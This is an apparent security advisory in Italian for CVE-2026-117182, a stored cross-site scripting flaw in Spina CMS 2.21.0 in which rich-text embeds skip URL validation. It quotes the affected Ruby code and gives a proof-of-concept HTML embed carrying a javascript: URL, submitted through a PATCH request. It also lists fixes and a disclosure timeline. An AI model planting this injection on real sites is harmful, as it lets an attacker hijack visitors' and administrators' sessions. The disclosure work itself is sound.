
Proof-of-concept e analisi tecnica per CVE-2026-117182, una XSS memorizzata autenticata in Spina CMS 2.21.0 tramite bypass di SafeUrlValidator nel percorso di rendering del rich-text.
Spina CMS v2.21.0 consente a un utente staff autenticato di eseguire Cross-Site Scripting memorizzato (XSS) sul sito pubblico. Spina::SafeUrlValidator (introdotto nella PR #1448) viene eseguito solo quando un embed viene salvato tramite il modulo embed dell'area di amministrazione. Tuttavia, il contenuto di testo formattato viene salvato tramite il modulo di modifica della pagina (Spina::Parts::Text), che non attiva questa validazione.
Quando una pagina viene renderizzata, l'embed viene ricostruito dall'HTML/JSON memorizzato da Spina::Embeddable.from_json, che non esegue alcuna validazione, e viene poi emesso tramite link_to button.url. Poiché l'intero documento è racchiuso in un SafeBuffer da RichTextPresenter#to_s, un URL javascript: memorizzato nel testo formattato aggira la validazione e diventa un href attivo, portando all'esecuzione di script nell'origine del sito pubblico.
Impatto: un attaccante con un account CMS autenticato può iniettare un payload che viene eseguito quando un visitatore non autenticato o un amministratore autenticato visualizza la pagina pubblica. Ciò può portare al dirottamento della sessione, all'estrazione del token CSRF e all'esecuzione di azioni autenticate non autorizzate per conto di un amministratore.
| Campo | Valore |
|---|---|
| CVE ID | CVE-2026-117182 |
| Record ufficiale | cve.org/CVERecord?id=CVE-2026-117182 |
| Versione interessata | Spina CMS (gemma Ruby) <= 2.21.0 |
| Tipo di vulnerabilità | CWE-79: Cross-Site Scripting (XSS memorizzato) |
| Vettore di attacco | Rete |
| Privilegi richiesti | Basso (richiede un account CMS autenticato) |
| Componente interessato | Spina::RichTextPresenter, Spina::Embeddable.from_json, Spina::Admin::PagesController#page_params, app/views/spina/embeds/buttons/_button.html.erb |
| Segnalazione originale | SpinaCMS/Spina#1452 |
| Percorso del file | Descrizione |
|---|---|
app/presenters/spina/rich_text_presenter.rb | Racchiude l'intero documento in un SafeBuffer senza sanitizzazione. |
lib/spina/embeddable.rb | Ricostruisce l'embed dal JSON senza validare lo schema dell'URL. |
app/controllers/spina/admin/pages_controller.rb | Consente tutti i parametri (permit!), aggirando la validazione a livello di modello sul percorso del testo formattato. |
app/views/spina/embeds/buttons/_button.html.erb | Emette link_to button.url direttamente sul sito pubblico. |
Percorso 1: modulo embed (con validazione) Il modulo embed costruisce l'oggetto tramite il modello, attivando il validatore.
# app/controllers/spina/admin/embeds_controller.rb:9
@embeddable = Spina::Embeds.constantize(embed_type).new(embed_params)
# app/models/spina/embeds/button.rb:7-8
validates :url, :label, presence: true
Percorso 2: Rich Text (non convalidato) Il contenuto in rich text viene salvato direttamente tramite i parametri della pagina e visualizzato successivamente senza convalida.
# app/controllers/spina/admin/pages_controller.rb
def page_params
params.require(:page).permit!
end
# lib/spina/embeddable.rb:11-18, reached from rich_text_presenter.rb:37
def from_json(json)
attributes = JSON.parse(json)
attributes.transform_keys!(&:to_sym)
new(attributes)
rescue
Rails.logger.error "[#{self.class.name}] Couldn't parse JSON"
nil
end
Il sink in cui viene renderizzato l'URL non sanificato:
<%# app/views/spina/embeds/buttons/_button.html.erb %>
<%= link_to button.url do %>
<%= button.label %>
<% end %>
Fattore contribuente: RichTextPresenter#to_s avvolge l'intero documento in un ActiveSupport::SafeBuffer, il che significa che tutto ciò che non è un embed <figure> viene lasciato passare inalterato.
Spina::Embeds::Button.new(
url: "javascript:void(document.title=String.fromCharCode(88))",
label: "Click me"
).valid?
# => false, "Url must be a relative path or start with http://, https://, mailto: or tel:"
Inviare una richiesta PATCH /admin/pages/1 con un normale token CSRF, memorizzando il seguente HTML come contenuto di qualsiasi parte Spina::Parts::Text su una pagina pubblicata:
<figure data-trix-content-type="application/vnd+spina.embed+html">
<spina-embed data-embed-type="Spina::Embeds::Button"
data-embed-attributes='{"url":"javascript:void(document.title=String.fromCharCode(88))","label":"Click me"}'>
</spina-embed>
</figure>
Vai a GET / (disconnesso). La pagina restituisce:
<a href="javascript:void(document.title=String.fromCharCode(88))">Click me</a>
Un clic reale dell'utente (utilizzando un evento di input attendibile, non element.click()) esegue il payload. Poiché viene eseguito sull'origine del sito stesso, una richiesta fetch() dalla pagina pubblica trasporterà il cookie di sessione del visitatore, consentendo all'attaccante di leggere /admin/users ed eseguire scritture autenticate.
sanitize() in actions_component.html.erb). Il percorso di rendering del rich text non è mai stato sanitizzato.Embeddable.from_jsonLa modifica più piccola consiste nel riapplicare la policy degli URL proprio dove gli attributi vengono letti dal JSON memorizzato.
def from_json(json)
attributes = JSON.parse(json)
attributes.transform_keys!(&:to_sym)
# Validate URL if present
if attributes[:url] && !SafeUrlValidator.new.safe?(attributes[:url])
return nil
end
new(attributes)
rescue
# ...
end
RichTextPresenterLa sanitizzazione in uscita in RichTextPresenter risolverebbe il problema di SafeBuffer, ma richiede di estendere la allowlist con figure, spina-embed e i relativi attributi data-embed-* affinché gli embed esistenti continuino a essere visualizzati.
| Data | Evento |
|---|---|
| 2026-10-18 | Segnalazione dell'issue #1452 al repository SpinaCMS |
| 2026-10-30 | Pubblicazione del record CVE ufficiale su cve.org |
| — | In attesa della risposta dei maintainer sulla correzione |